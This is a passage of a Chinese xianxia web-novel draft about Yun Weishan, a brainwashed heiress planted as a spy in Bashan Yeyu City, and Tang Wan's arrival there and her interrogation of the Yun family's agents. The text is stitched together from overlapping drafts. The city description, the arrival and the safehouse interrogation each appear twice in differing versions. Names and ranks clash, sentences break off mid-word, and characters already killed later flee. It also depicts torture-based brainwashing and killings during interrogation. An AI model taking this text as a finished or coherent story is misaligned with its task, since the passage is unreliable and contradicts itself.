,巴山夜雨城的希望之星。她现在应该冲上去,感谢这位恩人,然后跟她回城主府,继续扮演那个无辜的义女。可是紫嫣的话像毒蛇一样钻进她的耳朵:“你是冒牌货有楼主,你早就是尸体了”她到底是谁?是云为衫?还是?是复仇者?还是棋子?她看着陆青烟那清澈锐利、带着正义怒火的眼神,突然感到一阵前所未有的恶心和眩晕。那张脸,与记忆中十八阿姐的脸,与紫嫣的脸,与白望春的脸,重叠在了一起,变得模糊不清。“我是云为衫”她低声呢喃,指甲深深掐入掌心,流出血来,“我是来复仇的。唐婉入城一个月后轻车熟路地来到巴山夜雨城所在的区域,寒风凛冽,夹杂着湿冷的雨意。她站在高坡上,遥望着这座雄踞北疆的巨型立体城池。城墙顺山脊蜿蜒,与天然崖壁融为一体,城内建筑层层叠叠,在雨雾中若隐若现。她深吸一口气,压下心中的急迫,举步向城门走去。她必须尽快找到陆青烟和波涟漪区主,炼制解药。同时,她也要弄清楚,那个突然出现的“云为衫”到底是怎么回事。彩羽楼的阴谋,似乎比她想象的更加深沉。而在城主府内,云为衫正跪坐在静室的蒲团上,对着一盏孤灯。她面前摊开着一张纸条,那是今早她从一个送饭的粗使婆子手中接过的。纸条上没有字,只有一枚小小的、用血画成的紫色羽毛印记。这是彩羽楼的密令。命令她,在七月初七,城主寿宴之前,设法窃取城主府的布防图,并寻找机会,对那位新收的义女也就是她自己,制造一次“意外”的刺杀,以测试巴山夜雨城的防卫反应,并进一步加深她“受害者”的形象。“我是云为衫”她对着孤灯,声音嘶哑,“我是来复仇的”灯光摇曳,映照着她脸上那扭曲而疯狂的笑容,以及眼底那深不见底的空洞。惜春之年,伪面之下,皆是修罗。所有的线,都已绷紧,只等那最后的一刀。她到底是谁? 她看着陆青烟那清澈锐利、带着正义怒火,突然感到一阵前所未有的恶心和眩晕。那张脸,与记忆中十八阿姐的脸,与紫嫣的脸,与白望春的脸,重叠在了一起,变得模糊不清。一个月后,唐婉路来到巴山夜雨城所在的区域。此地已接近巴山夜雨城的势力范围边缘,再往西北去,便是那片令人闻之色变的苍茫山脉腹地。传闻那里不仅妖兽横行,更有终年不散的毒瘴和险恶地势,即便化境段的高手也不敢轻易深入。不过,险地往往也伴随机缘,苍茫山脉深处据说生长着不少外界罕见的灵草异果,更传说有上古遗迹散落其间,因此多年来总不乏冒险者前去碰运气。然而,自从多年前,那位神秘莫测、修为通玄的叶夫人宣布隐居苍茫山深处后,敢贸然深入的人便少了许多。此地已接近巴山夜雨城的边缘,再往西北,便是凶险莫测的苍茫山脉。传闻那里不仅妖兽横行,更有终年不散的毒瘴与复杂上古残阵,即便是超越凌霄段的天象段的绝顶高手,也不敢断言能全身而退。不过险地往往伴随机缘,山脉深处据说生长着早已在外界绝迹的上古灵株,更有疑似失落文明的遗迹散落其间,因此多年来总不乏自恃修为或气运的冒险者前去探寻。然而,自从二十余年前,那位惊才绝艳、来历神秘的奇女子叶轻眉,宣布归隐苍茫山脉最深处的不老峰后,整个山脉外围便被布置下了极其玄奥的阵法与警戒,敢贸然深入核心区域者,十不存一,渐渐便鲜少有人敢去触犯这位传奇人物的隐居之地。叶轻眉的传说,在巴山夜雨城乃至整个北疆都流传甚广。她并非此世之人,据传来自某个湮灭的秘境或失落文明,掌握着匪夷所思的知识与技艺。她曾游历天下,与各方豪雄、隐世宗门皆有交集,其智慧与手段至今为人称道。她与恒古神殿似乎也有不浅的渊源,甚至有人猜测,当代恒古神殿的某些惊人造物背后,也有她的影子。而她与巴山夜雨城已故的某位先贤似乎亦有过一段复杂的过往。寒风凛冽,夹杂着湿冷的雨意,吹得唐婉单薄的青色劲装紧紧贴在身上。她呼出的气息在空气中凝成淡淡的白雾。地上虽无积雪,但湿滑的青石板路和空气中无处不在的潮气,更添几分寒意。唐婉站在距离巴山夜雨城外城约十数里的一处高坡上,遥望着这座雄踞北疆、名声赫赫的巨城。眼前的景象,与她之前的想象有些不同。她知道巴山夜雨城并非传统意义上的单一城池,而是由宫、商、角、徵、羽五大区域组成,每区各有一位区主统辖,共同向城主白望春负责。她与其中的徵水区主波涟漪、商风区主乐林间等曾有过短暂交集。在她原本的想象中,巴山夜雨城或许就像靖安城那样,是一座庞大而结构分明的超级城池。可亲眼所见,才知别有洞天。巴山夜雨城确实是座城,却是一座依天然地煞脉络与复杂山势而建、堪称鬼斧神工的巨型立体城池!它并非坐落于平原,而是巧妙地嵌合在一系列起伏的山岭、峡谷与河流之间。周边崇山峻岭,乱石穿空,高耸的城墙并非笔直一线,而是顺着山脊蜿蜒,与天然崖壁融为一体。城内建筑层层叠叠,从山脚蔓延至山腰,不少楼阁甚至直接以悬崖为基,以飞桥相连。虽是白日,但因地处山阴水汽丰沛之地,加上护城大阵的影响,整座城仿佛常年笼罩在一层似雨非雨、似雾非雾的朦胧水汽之中,唯有各区核心建筑上特殊的避水、照明阵法散发出柔和的光芒,宛如星辰点缀在灰蒙蒙的天幕下。这座城池,仿佛已在此矗立了数百上千年,每一块墙砖、每一段阶梯都浸透了岁月与地煞之气的气息,厚重、古朴,却又因那无处不在的“雨”意而带着一种独特的、湿润的生机与肃杀交织的矛盾感。“不愧是能与秋池剑阁、恒古神殿等并列的雄城。”唐婉心中暗忖。即便相隔十数里,她也能感受到那股扑面而来的、混合了庞大能量流动与森严秩序的威严气势。也正是赶路途中,她向沿途的商旅和本地人打听,才更详细地了解了巴山夜雨城“五区”划分的一些缘由。据说,此城所在的区域,地下蕴藏着数条性质各异的地煞灵脉分支,其能量属性与表现形式,恰好暗合“宫、商、角、徵、羽”五音,亦对应五行生克之变。建城之初的白家先祖与几位大能,借助天然地势与阵法,将这五条灵脉的主要喷涌与汇聚之地加以引导、稳固,形成了各具特色的五个核心区域,其环境、灵气属性乃至对修炼特定功法者的助益皆有不同。五大区主及其统领的势力,便是在这基础上发展而来。更有传闻,那位白家先祖曾在此地一处天然形成的“听雨洞天”中闭关百年,从这永不停歇的夜雨与地煞潮汐的律动中,悟出了一套玄妙无比的剑法,据说施展之时能引动天象变化,剑气如雨,无孔不入,又似地煞奔涌,沛然莫御。此功法成为白家不传之秘,也是巴山夜雨城屹立不倒的根基之一。不过年代久远,细节已不可考,各种说法在茶馆酒肆中流传,为这座巨城更添几分神秘色彩。唐婉微微摇头,将这些纷杂的思绪暂时压下。她举步朝着巴山夜雨城的方向走去。感知中,周围的山林、石缝、乃至看似普通的雨幕之后,隐藏着不少气息。时不时便有隐晦的探查扫过自己,但又迅速收回。唐婉知道,这应是巴山夜雨城布置在外的暗哨与巡逻法阵。她孤身一人,修为气息控制在笃行段中品,并未引起过激反应。这些暗哨的职责是预警与监视,真正的盘查与接引,应在城门处。不多时,唐婉便踏着湿滑的山道,来到了巴山夜雨城徵水区的一处侧门前。此门并非主城门,规模稍小,但依旧气象森严,厚重的金属门扇上镌刻着避水、加固的阵纹,在雨中微微发光。门口有一男一女两名年轻弟子按剑而立,皆身着雨韵剑宗制式的青灰色劲装,外罩防雨蓑衣,年纪约在二十上下。男子剑眉星目,身形挺拔;女子明眸皓齿,气质清冷,并肩而立,颇为醒目。唐婉走近时,正见那男子侧头对女子说着什么,脸上带着殷勤的笑意,女子则微嗔着偏过头,耳根似乎有些泛红。听到唐婉刻意加重的脚步声,两人立刻神色一肃,齐齐转头望来。唐婉一路跋涉,身上青衣不免沾了些许泥水,略显风尘,但步伐沉稳,气息均匀。更惹人注目的是,她踏过湿漉漉的石板路,留下的脚印极浅,水渍很快便被新落的雨丝掩盖,显露出对自身力量精妙的控制。这一对年轻弟子在数丈外对唐婉抱拳行礼,动作干脆利落,带着大宗门弟子特有的规范。随即那男子上前一步,手掌平伸,示意唐婉止步。唐婉驻足,拱手还礼,脸上带着平和淡然的笑意。她容颜本就清丽,虽经风霜却更添几分沉静气度,这礼貌的举止让那女弟子眼中闪过一丝好感。那男弟子却暗自嘀咕:“这姑娘打哪儿来的?生得这般……嗯,可不能让她与师妹多说话。”当下,他收敛神色,肃容问道:“这位姑娘请了。不知尊姓大名,莅临我巴山夜雨城,有何贵干?”唐婉轻轻拂去袖上几点水珠,从容开口:“在下唐婉,自靖安城而来。此行特为拜访故人,烦请二位向贵区波涟漪区主,或是雨韵剑宗陆青烟陆师姐通传一声。”在来的路上,唐婉并非没有考虑过是否改换容貌、隐匿行迹。毕竟“唐婉”这个名字,随着之前秋池剑阁附近遇袭、疑似身怀秘密等事情,或许已在彩羽楼的名单上。但转念一想,她此行是为寻访沐雪长老可能提供的线索,以及可能与陆青烟取得联系,借用她人名头反而不妥。更何况,她唐婉行事,何须长久藏头露尾?索性便以真面目、真姓名前来。“唐婉?”这个名字一出,那一男一女两名弟子神色皆是微动。那女弟子更是上前半步,目光在唐婉脸上仔细打量,带着好奇与探究:“你便是前段时间传闻中,在秋池剑阁名骚一时的唐婉?”她语气中并无多少惧意,反而有种见到传闻中人的惊讶。那男弟子则瞬间更加警惕,下意识侧身,将师妹半挡在身后,手按剑柄,声音提高了些许:“师妹小心些!此女此人来历不明,且与彩羽楼牵扯,恐非善类!”唐婉心中苦笑。这两名弟子修为约笃行段下品,算是不错。但以她如今实力,若真有恶意,他们拔剑都难。她自然不会计较。“正是在下。至于彩羽楼,”唐婉语气平静,目光清冽,“乃在下之敌,非同道。此次前来,亦有要事需与贵城相商,或关乎彩羽楼动向。还请二位代为通传。”她态度不卑不亢,语气笃定,让两名弟子将信将疑。就在此时,城内方向忽传来隐约钟鸣,清越悠远,连响三声。两名守门弟子神色一凛,对视一眼。那男弟子对唐婉道:“城主府的‘迎客钟’响了,这个时辰怕是宫鸣区那边,本届通过初选的五位‘义女’候选人已抵达主城,正行‘净街礼’,准备前往城主府参与最后的‘问心试’。”他语气复杂,似有羡慕,又带警惕。值此敏感时期,任何外来者都需加倍小心,尤其是这位与彩羽楼有过“过节”的唐婉。唐婉闻言,心下了然。看来她来得正是时候,巴山夜雨城因这“收徒大典”而外松内紧,暗藏波涛。“原来如此。”唐婉神色不变,“那更要烦请通传了。巴山夜B雨城是依天然地煞脉络与复杂山势而建的巨型立体城池。它嵌合在起伏的山岭、峡谷与河流之间,城墙顺山脊蜿蜒,与天然崖壁融为一体。城内建筑层层叠叠,从山脚蔓延至山腰,楼阁以悬崖为基,飞桥相连。整座城仿佛常年笼罩在朦胧水汽中,唯各区核心建筑的阵法光芒如星辰点缀。这座城池,仿佛已矗立了数百上千年,厚重、古朴,却又因那无处不在的“雨”意而带着湿润的生机与肃杀交织的矛盾感。“不愧是雄城。”唐婉暗忖。即便相隔十数里,也能感受到那股混合了庞大能量流动与森严秩序的威严气势。赶路途中,她向当地人打听,更了解了“五区”划分的缘由。据说此城地下蕴藏数条性质各异的地煞灵脉分支,暗合“宫商角徵羽”五音与五行之变。建城先祖借助地势与阵法,引导灵脉形成各具特色的核心区域。五大区主及其势力便在此基础上发展。更有传闻,白家先祖曾在“听雨洞天”闭关百年,从夜雨与地煞潮汐的律动中,悟出玄妙功法,成为白家不传之秘,也是巴山夜雨城屹立不倒的根基。不过年代久远,细节已不可考。而最近,城中最大的话题,莫过于城主白望春即将举行的“五年一度收徒大典”。这是巴山夜雨城最重要的盛事之一。每五年,白望春会亲自从各地选拔的适龄少女(通常为15-19岁)中,甄选出五名天赋、心性、容貌俱佳的佼佼者,收为“义女”实则为核心弟子兼近卫,亲自传授高深功法,赋予其特殊身份与资源。这不仅是无上荣耀,更意味着一步踏入巴山夜雨城的权力核心圈,前途不可限量。无数家族挤破头想将女儿送入,但选拔极其严格,背景审查更是近乎苛刻,以防奸细混入。然而,早在数年前,彩羽楼精心策划的阴谋已然启动。一年零三个月前,溪亭镇云家。真正的云为衫,时年十六,是云家娇养的大小姐,天真烂漫,略通诗书与粗浅武艺。她的人生本该在父母的呵护下,沿着嫁入高门或安稳修炼的轨迹前行。然而,一场毫无征兆的夜袭,改写了所有。彩羽楼“北方之魍”血薇亲自带队,目标明确——云为衫本人。袭击迅捷如电,云家护卫尚未集结便被分割消灭。云梦泽夫妇为护爱女,死于紫嫣与梅影的合击之下。云为衫被一掌震晕,甚至来不及看清父母最后的模样,便被塞入特制的禁灵袋中掳走。她没有被杀,因为彩羽楼楼主亲自下的指令——“此女根骨清奇,心性未定,是上佳的‘画魂’胚子。带回来,制成‘云影’。”“无间营”深处,洗脑地狱。云为衫醒来时,已身处暗无天日、弥漫着血腥与药石味的“洗心窟”。这里没有体能训练,没有杀人考核,只有日复一日、永无止境的“重塑”。她被强制观看父母惨死的幻象由彩羽楼以秘法抽取其记忆碎片并加工,循环播放。她被灌下混淆认知的“忘忧散”,记忆开始模糊、错乱。她被置于极度痛苦与极度愉 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悦交替的极端环境中,意志被反复碾碎。每当她因痛苦或对家人的思念而哭喊、挣扎,换来的不是安慰,而是更猛烈的电击、冰浸或毒虫噬咬,直到她将“思念”、“亲情”与“痛苦”划上等号,潜意识开始逃避、厌恶这些记忆。当她的精神濒临崩溃、自我认知出现巨大空洞时,彩羽楼的“匠师”们开始“画魂”。他们通过药物、催眠、梦境编织与灵魂暗示一种阴毒秘法,将一套精心编造的“记忆”与“人格”植入她的脑海深处:“你依然是云为衫,云家大小姐。你家被一股神秘势力模糊化,但暗示与巴山夜雨城某些潜在的、不公的规则或敌对势力有关所害,父母惨死。你侥幸被“恩人”彩羽楼伪装所救。“恩人”告诉你,真正的仇人隐藏在巴山夜雨城内部,是他们间接导致了云家的悲剧。巴山夜雨城并非表面那般光明,城主白望春收徒或许另有阴谋。你要为父母报仇,就必须潜入巴山夜雨城,查明真相,并听从“恩人”的指引,在必要时向那些“伪君子”复仇。你是“恩人”复仇的唯一希望,是云家血债的清算者。潜入巴山夜雨城,取得信任,是你唯一的生路,也是你存在的唯一意义。忠诚于“恩人”的指令,高于一切。固化与测试。这个过程长达一年。每当植入的“记忆”与“使命”出现松动,更强烈的痛苦和药物就会接踵而至。同时,他们会进行“忠诚测试”与“伪装测试”,让她在模拟的巴山夜雨城环境中扮演“云为衫”,任何不符合预设人格或对“恩人”指令的迟疑,都会遭受生不如死的惩罚。一年后,那个天真烂漫的云为衫已经“死去”,活下来的是一个深信自己身负血海深仇、对“恩人”彩羽楼抱有扭曲的忠诚与依赖、唯一目标是潜入巴山夜雨城复仇,并时刻准备执行“恩人”指令的工具。她甚至不记得自己被俘的具体细节,只记得家中遇袭、被救、接受训练、准备复仇的“完整”人生。彩羽楼导演了“云为衫”的“劫后回归”。他们制造了“云家遭不明袭击,大小姐失踪年余,近日方侥幸逃脱”的假象。地点选在距离溪亭镇不远、但已属于另一势力范围的荒村。她衣衫褴褛,神情惊惶中带着深切的悲愤与一丝不易察觉的偏执,身上有陈年旧伤与新愈疤痕,怀中紧紧抱那枚货真价实的云纹玉佩——这是她与“过去”唯一的真实联结,也是彩羽楼刻意保留、用于取信的关键物证。巴山夜雨城的巡逻队“发现”了她。她的说辞是:当年被贼人掳走,关押在某处,受尽折磨,近日方趁守卫不备逃出。她“不记得”具体关押地点和贼人样貌,只模糊记得是“很黑暗的地方”,贼人“似乎想逼问云家什么秘密。她对父母之死的悲痛真实而剧烈,对“仇人”的恨意刻骨铭心——这些都是被引导和强化的结果,但感受本身是“真”的。她是真云为衫,血脉、容貌、胎记、家传玉佩、部分深层记忆碎片全部真实。最高明的易容和伪装,也抵不过“本尊”回归。她的说辞有模糊之处,但一个经历重大创伤、被囚禁年余的少女,记忆出现混乱、缺失或自我保护性修正,在心理学上完全说得通。彩羽楼精心布置的“关押地”线索指向几个已覆灭的小型邪道组织,查无可查。夜雨未歇,檐角垂下的水线在灯笼映照下,如同千万道晶亮的丝弦。五顶青幔小轿在汉白玉铺就的广场前稳稳停下,侍女无声上前,掀开轿帘。最中间那顶轿中,伸出一只素白纤细、却在指节处带着薄茧与几道淡色旧疤的手。随后,一个身着月白素裙、外罩淡青纱衣的少女,微微低着头,走了出来。她抬起头。灯火映亮了一张清丽绝伦却苍白消瘦的脸。眉眼依稀是记忆中的模样,只是褪去了全部稚气与娇憨,那双原本该盛着江南烟雨般朦胧温柔的眼眸,此刻沉寂如两口深井,幽暗,空洞,深处却仿佛有冰冷的火在灼烧。她的唇抿得很紧,嘴角天然带着一点向下的弧度,那不是不悦,而是一种被巨大痛苦反复碾压后,凝固成的悲恸与戒备的混合体。她就是云为衫。真的云为衫。溪亭镇云家唯一幸存的、真实的血脉。至少,血肉骨骼,血脉魂魄,都是真的。她静静站立,微微垂眸,任由冰凉的雨丝拂过脸颊。周围其他四位少女,或紧张,或期待,或强作镇定,唯有她,像一尊没有生气的玉像,唯有袖中指尖,无人察觉地、神经质地轻轻颤了一下——。。不是恐惧,是某种被烙印在灵魂深处的、对“任务”和“恩人指令”的条件反射。父亲云梦泽温暖宽厚的手掌,抚摸她的头顶。下一秒,那只手掌在眼前被刀光斩断,鲜血喷溅!父亲扭曲痛苦的脸,母亲凄厉的尖叫!无尽的黑暗。刺骨的冷水。鞭挞。针刑。还有那温柔如鬼魅的、反复在耳边呢喃的声音:“记住你的仇记住是谁害了云家,巴山夜雨城白望春。偶尔,在药物间歇的混沌中,会有更破碎的、让她心悸的画面闪过:紫色羽纹面具幽蓝的匕首一个艳丽女人冰冷审视的目光但这些碎片太快,太痛,随即就被更强烈的“恩人教诲”和“仇恨使命”覆盖。她不知道哪些是真,哪些是假。她只知道,痛是真的,恨是真的,对“恩人”那个在她最绝望时“救”了她、告诉她真相、训练她、给她复仇机会的神秘存在的依赖和忠诚,也是真的。她必须进入巴山夜雨城,必须取得白望春的信任。这是她活下来的意义,是祭奠父母亡魂的唯一方式。“五位姑娘,请随我来。城主已在‘问心阁’等候。”一名身着玄色内侍服饰、面容平凡无奇的老妪,用毫无起伏的声音说道。这份“云为衫”的案卷,被同时摆在了城主白望春和五位区主的案头。角区,书房。区主叶轻扬看着案卷,指尖无意识敲打着桌面。他与已故的云梦泽有过数面之缘,谈不上深交。案卷看似无误,但能如此精准地袭击一个刚刚有女入选巴山夜雨城初选的家族,未免太巧。她瞥了一眼坐在下首、正品茶的商风区主乐林间。乐林间掌管城中部分商贸与情报,此刻眼观鼻鼻观心,不置一词。徵水区,波涟漪的居所。这位以细致缜密著称的女区主眉头微蹙。她派去溪亭镇暗中复查的人回报,现场处理得“太干净”,像是专业人手笔,不像流窜邪修。而且,那幸存的“云为衫”,伤势恢复的速度似乎比预期快一点。但也仅仅是“一点”,可以解释为求生意志强烈或体质特殊。她将自己的疑虑写成密笺,直送城主府,但并未公开质疑。城主府,观雨阁。白望春一袭素袍,立于窗前,望着外面的夜雨。案上除了“云为衫”的卷宗,还有另一份来自鹤翔区主翔天云的密报,提及近期边境有可疑人物活动,似与多年前曾有些瓜葛的“彩羽楼”有关联,但痕迹很淡。白望春嘴角掠过一丝几不可察的冷意。她执掌巴山夜雨城数十年,什么阴谋诡计没见过?这“云为衫”来得蹊跷,整个事件透着股精心编排的味道。但证据呢?公开质疑,不仅会打草惊蛇,更会寒了那些依附于巴山夜雨城的中小家族的心,连“幸存孤女”都要严刑拷问,谁还敢来投奔?更重要的是,收徒大典在即,关乎城主威信与城中稳定。此时需要一个“彰显仁义、抚慰人心”的典范。这“云为衫”,天赋尚可,身世堪怜,正是最合适的“典范”人选之一。“既然有人想把棋子送进来,”白望春转身,对垂手侍立在一旁阴影中的心腹老仆道,“那我们就接着。着内卫暗中盯紧‘云为衫’,一应待遇与其他四人相同,准其参与‘问心试’。告诉涟漪,她的疑虑我已知晓,外松内紧即可。另外,让天云加紧边境巡查,特别是与苍茫山脉接壤的那几个隘口。”“五位姑娘,请随我来。城主已在‘问心阁’等候。”一名身着玄色内侍服饰、面容平凡无奇的老妪,用毫无起伏的声音说道。云为衫迈开脚步。步履有些虚浮,符合一个身体受损、心神耗损的孤女形象。但每一步的间距、落点的轻重,却又奇异地稳定——这是长达一年多残酷训练留下的身体记忆,尽管她“记得”的训练内容是“恩人”为了让她有自保之力而传授的家传秘法改良。她们穿过重重庭院,廊下阴影中,似有无形的目光扫过。云为衫脊背微僵,那是被监视的感觉。但她立刻告诉自己:这是正常的,巴山夜雨城戒备森严。她必须习惯,必须自然。听雨阁,三层。此处并无奢华装饰,只有素墙木案,满室清寂。窗外雨声潺潺,阁内却异常安静,唯有正中央一座三尺见方的浅碧色玉池,池中并非水,而是氤氲着乳白色、缓缓流动的雾气。这便是“问心池”,据说能映照灵台,洞察隐晦恶意与巨大谎言。五位少女在池前站定。白望春并未露面,但她的声音,从阁楼上方空旷处传来,温和、平静,却带着不容置疑的威严,仿佛与这夜雨融为一体:“入此池,静立即可。无需言语,只需面对本心。”声音落下,玉池中的雾气流转骤然加速,散发出柔和却无孔不入的灵压,笼罩住五人。云为衫身体几不可查地微微一颤。不是害怕被看穿她深信自己就是云为衫,深信自己的仇恨与使命而是一种更深层的、对未知探查的本能抗拒,源自无数次“忠诚测试”时面临的、更直接残酷的灵魂拷问。她强迫自己放松,垂下眼帘,将心神沉入那片被反复灌输的“记忆”与“情绪”之中。悲恸。父母惨死,家园焚毁。真实的痛苦汹涌而来,瞬间淹没了她,眼圈泛红,泪水无声滑落。这泪,七分是真,三分是被引导强化的悲。仇恨。对那“模糊的仇人”的恨意,炽烈燃烧。这恨,支撑着她度过每一个绝望的日夜,此刻毫无保留地释放。渴望力量,渴望真相,渴望复仇。渴望留在这里,接近权力的中心。这份渴望,如此“真诚”而“合理”。以及对“恩人”那复杂难言的情感:依赖、感激、畏惧、绝对的服从。这份情感被她小心地包裹在“仇恨”与“渴望”之下,潜意识里认为这是“为复仇必须付出的代价”、“恩人的要求就是复仇的指引”。问心池的雾气轻轻拂过她的灵台,感应着她的情绪洪流。池面微光荡漾,映照出的,是一个“身世凄惨、血仇未报、心志坚定渴望借助巴山夜雨城之力”的清晰形象。没有明显的谎言痕迹。因为她的核心认知里,没有“我是间谍”这个概念,只有“我是来复仇的云为衫”。她对自己被俘、被“改造”的具体过程记忆模糊且痛苦,被自我防御机制深埋。问心池能照出“恶意”,但她对白望春和巴山夜雨城的“恶意”,目前被包装在“怀疑有内鬼”、“要查清真相”的正当理由之下,并非直接的行刺加害意图。阁楼顶层,暗室。白望春负手而立,面前一面巨大的水镜,清晰映照着楼下问心池边五女的影像与池面反馈的灵光波纹。波涟漪静立一旁,秀眉微蹙。“城主,”波涟漪低声道,“此女情绪强烈,核心执念深重,问心池反馈确为‘真实’。但这‘真实’是否过于纯粹?所有杂念都被修剪干净,只留下最主干的那几根?”白望春凝视着水镜中云为衫泪流满面却眼神空洞倔强的脸,她顿了顿,“溪亭镇的线索,查得如何?”“云家确系被灭门,手法利落,伪装成流寇,但我们的仵作验出,至少有三人是死于同一种极阴寒的掌力,非寻常流寇能为。指向有些模糊,但与边境翔天云报来的、关于彩羽楼活动痕迹的线报,在区域上有微妙重叠。”波涟漪禀报,“至于她失踪这一年多,毫无线索。仿佛人间蒸发。”“彩羽楼”白望春指尖轻轻叩击窗棂,“若是他们,掳走此女年余,又将她‘送’回来,所图必然不小。问心池照不出,要么是她自己也不知自己是棋子,要么就是对方的手段,高明到连问心池都能骗过。”“让她通过。”白望春打断波涟漪,声音决断,“真的假不了。但真的,也能变成最致命的武器。她既然是‘真’的云为衫,我们就没有理由拒绝一个家破人亡、天赋尚可的孤女。传令,五人皆通过‘问心试’,准予列入本届弟子终选名册。但是,”她转身,目光如电,“对此女,启动‘玄字号’监控。她接触的每一个人,说的每一句话,情绪每一个异常波动,我都要知道。安排入‘静心院’,让她‘好好休养’,便于个观察。另外,通知叶轻扬和乐林间,他们辖区内的‘意外’和‘巧合’,该好好清一清了。” 44. 潮头立剑风雨急 巴山夜雨城,徵水区,废弃的云家别院。夜雨如注,敲打着窗棂唐婉一身玄色紧身衣,脸上蒙着特制的面纱,只露出一双在烛光下平静得令人心悸的眼眸。她手中把玩着一枚刚从梁上拔下的柳叶镖,镖身幽蓝,在昏黄的光线下泛着不祥的光泽。她体内的“蚀骨瘴”之毒,已在三日前彻底拔除。那一日,在古剑冢取得“寒髓”,又在秦月娆的暗中帮助下,她于城外一处隐秘洞穴中,与“寒髓”以《白帝清霜诀》的极寒真火炼化,强行逼出了那阴毒的瘴气。过程痛苦不堪,几乎让她神魂俱裂,但好在,结果是好的。此刻,她不仅毒伤尽复,修为竟因祸得福,在生死边缘又精进了半步。但代价是,她与秦月娆的交易也更进一你们是谁?” 室内,四名被逼至角的云家管事瑟瑟发抖。为首那个叫云成的男人强作镇定,声音却带着抑制不住的颤抖,“为何要袭击我们?” 唐婉眉头微挑,声音透过面纱,带着一丝慵懒的讥讽:“波涟漪区主没告诉你们,要留意一个用暗器和毒的女子么?” “唐婉?”云成和另外三人面面相觑,瞬间联想到了近期城中的传闻。那个在秋池剑阁附近反杀彩羽楼杀手的女子,据说修为不过笃行段中品。可刚才那一连串鬼魅般的身法,那精准到毫秒的用毒时机,完全超出了他们对“中品”修士的认知。 “没什么不可能的。”唐婉向前倾了倾身子,烛光在她眼中跳跃,“我就是你们背后主子,千方百计想弄清楚、甚至想除掉的人之一。今晚来,只是想问几个问题。” 脾气火爆的云海忍不住骂道:“小贱人!大爷我现在喊一声,你能走出这徵水区么?” 话音未落,一道幽光贴着他脸颊一闪而过,钉入了他身后的夯土墙。是一柄最普通的飞刀,尾羽还在微微颤动。 “我可以保证,在你喊出第一个字之前,它钉进你的喉咙。”唐婉语气平淡,仿佛在说一件与己无关的小事,“白天在流云巷,杀了我们三个暗哨的用毒高手,也是你吧?” 云成神色凝重,冷汗涔涔而下。他们中了散气香,一身地煞之气十不存一,根本不是眼前这女子的对手。 “坐下说话。”唐婉指了指室内的木凳。 四人战战兢兢地坐下,仿佛面对的不是一个人,而是一只择人而噬的猛兽。 “你们这个‘云家’,为何与彩羽楼勾结?真正的云为衫,在哪里?”唐婉单刀直入。 云海刚想顶嘴,寒光再闪,飞刀没入他的咽喉。他双目圆瞪,倒地气绝。 其余三人骇然欲起。 “嘘。”唐婉竖起一根手指,“别考验我的耐心。”大长老厉声道:“老二!你想害死所有人吗?说出尊使来历,我们都得死!”寒光又一次闪过,大长老胸口插上了第二柄飞刀。 唐婉盯着剩下的云青,目光如冰刃:“不说,死。说出来,或许有条活路。” 云青看着同伴惨死,心理防线彻底崩溃,颤声道:“是血薇大人麾下的‘紫魅’!我们只是奉命在此经营,收集情报,确保云为衫这个身份在巴山夜雨城的安全和必要时发挥作用。其他的,我们真的不知道!”原来如此。这个云家,竟是彩羽楼数年前就布下的暗桩。 唐婉看着他们连滚爬爬逃离的背影,没有追击。杀几个小卒无益,留下他们,反而能让彩羽楼暂时摸不清她的真实意图。她清理掉自己的痕迹,如同幽灵般融入了外面的夜雨之中。混沌神像·虚空残境恒古神殿,混沌万界山。这里并非真实山脉,而是一处连接诸多试炼秘境的奇异小世界碎片。空间结构极不稳定,光怪陆离。白浅跟在几位内门师兄师姐身后,踏入这片区域。脚下是亘古存在的暗色岩石,远处天际可见扭曲的空间裂隙和浮空的山峦碎片。最引人注目的,是入口广场中央那尊高达数百丈的女性神像。神像以非金非玉的未知材质雕成,容颜绝美却威严无边,身着星辰法袍,单手按着一柄未出鞘的长剑,另一手自然垂落。她深邃的眼眸眺望着混沌深处,仿佛在凝视着万千世界的生灭。好可怕的威压!仅仅是一尊石像残留的一丝意念,就有如此神异。真不知这位初代殿主本尊,修为到了何等境界?白浅心中暗凛,连忙收敛心神,压□□内冰晶核心的异动。她听说,唯有修为达到圣者层次,才能剥离一丝本命神念,寄托于圣像之中,长存世间。她的目光,不由自主地投向神像发髻之上的星辰冠冕。冠冕中央,镶嵌着一颗缓缓旋转的暗金色轮盘。轮盘结构复杂,层层嵌套,核心处一点银白光芒恒定闪耀,散发出令空间扭曲的波动。巴山夜雨城,徵水区,废弃的云家别院。夜雨如注,敲打着窗棂。唐婉一身玄色紧身衣,脸上蒙着特制的面纱,只露出一双在烛光下平静得令人心悸的眼眸。她手中把玩着一枚刚从梁上拔下的柳叶镖,镖身幽蓝,在昏黄的光线下泛着不祥的光泽。她体内的“蚀骨瘴”之毒,已在三日前彻底拔除。那一日,在古剑冢取得“寒髓”,又在秦月娆的暗中帮助下,她于城外一处隐秘洞穴中,将“九幽玄参”与“寒髓”以《白帝清霜诀》的极寒真火炼化,强行逼出了那阴毒的瘴气。过程痛苦不堪,几乎让她神魂俱裂,但好在,结果是好的。此刻,她不仅毒伤尽复,修为竟因祸得福,在生死边缘又精进了半步。但代价是,她与秦月娆的交易也更进一步——七月初七,断魂崖,她不仅要替秦月娆杀“魑”,还要取来“幽冥血令”。“你们是谁?”室内,四名被逼至墙角的云家管事瑟瑟发抖。为首那个叫云成的男人强作镇定,声音却带着抑制不住的颤抖,“为何要袭击我们?”唐婉眉头微挑,声音透过面纱,带着一丝慵懒的讥讽:“波涟漪区主没告诉你们,要留意一个用暗器和毒的女子么?”“唐婉?”云成和另外三人面面相觑,瞬间联想到了近期城中的传闻。那个在秋池剑阁附近反杀彩羽楼杀手的女子,据说修为不过笃行段中品。可刚才那一连串鬼魅般的身法,那精准到毫秒的用毒时机,完全超出了他们对“中品”修士的认知。“没什么不可能的。”唐婉向前倾了倾身子,烛光在她眼中跳跃,“我就是你们背后主子,千方百计想弄清楚、甚至想除掉的人之一。今晚来,只是想问几个问题。”脾气火爆的云海忍不住骂道:“小贱人!大爷我现在喊一声,你能走出这徵水区么?”话音未落,一道幽光贴着他脸颊一闪而过,钉入了他身后的夯土墙。是一柄最普通的飞刀,尾羽还在微微颤动。“我可以保证,在你喊出第一个字之前,它钉进你的喉咙。”唐婉语气平淡,仿佛在说一件与己无关的小事,“白天在流云巷,杀了我们三个暗哨的用毒高手,也是你吧?”云成神色凝重,冷汗涔涔而下。他们中了散气香,一身地煞之气十不存一,根本不是眼前这女子的对手。“坐下说话。”唐婉指了指室内的木凳。四人战战兢兢地坐下,仿佛面对的不是一个人,而是一只择